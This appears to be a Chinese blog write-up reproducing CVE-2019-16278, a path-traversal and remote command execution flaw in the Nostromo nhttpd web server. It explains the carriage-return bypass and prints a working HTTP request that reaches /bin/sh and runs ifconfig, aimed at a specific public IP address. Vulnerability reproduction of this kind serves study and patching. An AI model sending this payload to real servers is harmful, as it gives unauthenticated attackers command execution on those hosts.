漏洞复现----2、Nostromo Web服务器远程命令执行(CVE-2019-16278)


一、漏洞背景

Nostromo web(又名nhttpd),这是一个开源的web服务,在Unix系统上非常流行,例如FreeBSD, OpenBSD等。

Nostromo由于在验证URL安全性方面存在缺陷,导致目录穿越,任何人都可以遍历系统中任何文件。因此未经过身份验证的远程攻击者可以强制服务器指向/bin/sh这样的shell文件,借此执行任意命令。 在CVE-2011-0751中攻击者可以通过/..%2f..%2f..%2fbin/sh来实现路径穿越,而后官方修复了该漏洞,CVE-2019-16278是对CVE-2011-0751的绕过,使用/.%0d./.%0d./.%0d./ 绕过对路径穿越的限制.

影响版本
Nostromo web<=1.9.6

二、漏洞原理

在下图的函数http_verify()中,请求的首行会先进行解码,然后检查/../是否存在.
在这里插入图片描述
在这里插入图片描述
函数http_proc()会将首行传递给函数http_header()
在这里插入图片描述
函数http_header()通过函数strcutl()解析数据
在这里插入图片描述
函数strcutl()的内部,会过滤字符串中的\r(回车)
在这里插入图片描述
最后,得到的路径是/../../../../bin/sh

目录穿越完成后,在函数http_proc()中的execve()函数中,执行了rh->rq_filef(/../../../../bin/sh)。
在这里插入图片描述


三、漏洞复现

POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1
Host: 113.108.70.111:50124
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
Content-Length: 25

echo
echo
ifconfig 2>&1

在这里插入图片描述


参考:
https://nosec.org/home/detail/3074.html https://github.com/jas502n/CVE-2019-16278

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李沉肩

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值